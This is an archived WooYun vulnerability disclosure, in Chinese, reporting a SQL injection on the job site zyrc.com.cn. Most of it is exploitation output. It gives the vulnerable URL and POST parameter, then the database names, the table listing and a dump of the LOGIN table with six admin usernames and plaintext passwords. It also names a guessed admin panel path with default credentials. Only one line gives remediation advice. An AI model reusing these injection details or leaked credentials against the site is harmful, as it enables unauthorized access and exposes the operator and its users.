乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-10： 积极联系厂商并且等待厂商认领中，细节不对外公开 2014-02-24： 厂商已经主动忽略漏洞，细节向公众公开
中原人才网部分页面参数未加过虑导致SQL注入，数据库中信息侧漏。
存在问题的页面：http://www.zyrc.com.cn/per/per_condi_list.asp Post数据：qfind=2&gwxh=%CF%FA%CA%DB%BE%AD%C0%ED&Submit2=%B2%E9+%D1%AF其中参数gwxh存在注入。所有库：
web server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2000available databases [10]:[*] lumigent[*] master[*] model[*] msdb[*] Northwind[*] pubs[*] rcjx[*] tempdb[*] test[*] xbrc
当前库：
current database: 'xbrc'
当前用户：
current user: 'rc'
当前库中所有表：
Database: xbrc[133 tables]+----------------------+| ACT_FEE_TYPE || BBS_DETAIL || BBS_TITLE || CLASS_COURSE_TEST || CLASS_COURSE_TEST || CLASS_INFO || COURSE || DW_FEE_TYPE || DW_FEE_TYPE || DW_MSG || EDU_GRADE || EMAILGRP || FEE_DW || FEE_DW || FEE_YB || GJZW || HMC || JLHC || JLH_DW || JLH_DW || JLH_PARTICIPANT || JLH_TW || LOGIN || MaxId || PAGE_SUBPAGE || PAGE_SUBPAGE || PAGE_TYPE || PAICHUSUO || PER_MSG || PSN_TEST || QUESTION_TYPE || QUESTION_TYPE || RY2 || RY2 || STALL || SUBPAGE_QUESTION || SUBPAGE_QUESTION || TECHER_COURSE || TECHER_INFO || TECHPRO || TITLE || ZS_TYPE || ZS_TYPE || a01 || a02 || a03 || bdbzb || bys || condition_my || condition_my || da_brs || daima || dalei || dqzd || dtproperties || dwb || dwhy || dwxz || foreign_lan || forum || groupby1 || gzfs || hybzzd || hyzkzd || jkdmb || jlhryb || jlhxqk || jlhzd || jsslcdzd || jszc || jszzzd || jyqktjb || jyqxzd || link1 || link_old || link_old || lsb || member || minzu || mzzd || nxfzd || pbcatcol || pbcatedt || pbcatfmt || pbcattbl || pbcatvld || pylbb || registermember || research || rsdlbzzd || rytjzy || schoolmates || selectInfo || shop_user1 || shop_user1 || sp || sypqb || sysconstraints || sysjtjb || syssegments || syxqk || t1 || t2 || t3 || task || tempparm || tempparm || tjb22 || tjbcj || trcolcom || tt || tw_temp || view_Interface || view_condition_tj_zy || view_condition_tj_zy || view_group_xlsc || view_ry2 || view_ry_tj_zy || view_ry_tj_zy || view_ry_tj_zy || view_will_all || view_will_all || view_zw || will || wjsp || wyspzd || xiaolei || xinwen || xw || xzzw || zw || zy || zzmm |+----------------------+
表LOGIN中数据：
Table: LOGIN[6 entries]+---------+-----------------+---------+---------+----------------+--------+----------------+--------------------+| xh | xm | BH | BZ | PWD | TYPE | LOGIN | regdate |+---------+-----------------+---------+---------+----------------+--------+----------------+--------------------+| <blank> | admin_shichang1 | <blank> | <blank> | 2012_shichang1 | mng | admin_shichang | 01 9 2007 9:43AM || <blank> | admin_zyrc1 | <blank> | <blank> | 2012_admin1 | mng | admin_zyrc | 01 9 2007 9:41AM || <blank> | dwmng | <blank> | <blank> | 2012_dwmng | dwmng | dwmng | 06 16 2011 11:00AM || <blank> | per_shi | <blank> | <blank> | 65956852 | permng | per_shi | 12 23 2013 3:49PM || <blank> | permng | <blank> | <blank> | 2012_permng | permng | permng | 05 10 2006 8:33AM || <blank> | zyrc_dw | <blank> | <blank> | 2012_zyrc_dw | dwmng | zyrc_dw | 01 9 2007 9:50AM |+---------+-----------------+---------+---------+----------------+--------+----------------+--------------------+
猜到某后台路径：http://www.zyrc.com.cn/dyzc/manager/index.asp用户名：admin 密码：admin123
Database: xbrcTable: dqzd[2 columns]+--------+---------+| Column | Type |+--------+---------+| dqdm | varchar || dqmc | varchar |+--------+---------+Database: xbrcTable: t3[3 columns]+---------+---------+| Column | Type |+---------+---------+| dw | varchar || job_num | int || xh | char |+---------+---------+Database: xbrcTable: FEE_YB[10 columns]+------------+----------+| Column | Type |+------------+----------+| BASE_MONEY | int || BH | varchar || DW_RATION | numeric || FEE_TIME | datetime || ID | int || MON_BASE | int || PSN_MONEY | int || PSN_RATION | numeric || TIME1 | datetime || TIME2 | datetime |+------------+----------+Database: xbrcTable: PAGE_TYPE[3 columns]+--------+---------+| Column | Type |+--------+---------+| ID | int || NAME | varchar || XH | varchar |+--------+---------+Database: xbrcTable: PSN_TEST[6 columns]+-----------+----------+| Column | Type |+-----------+----------+| BH | varchar || COMT | varchar || MARK | int || NOTE | varchar || PAGE_NO | int || TEST_DATE | datetime |+-----------+----------+…………………………………………
过滤参数。改后台默认路径。
未能联系到厂商或者厂商积极拒绝
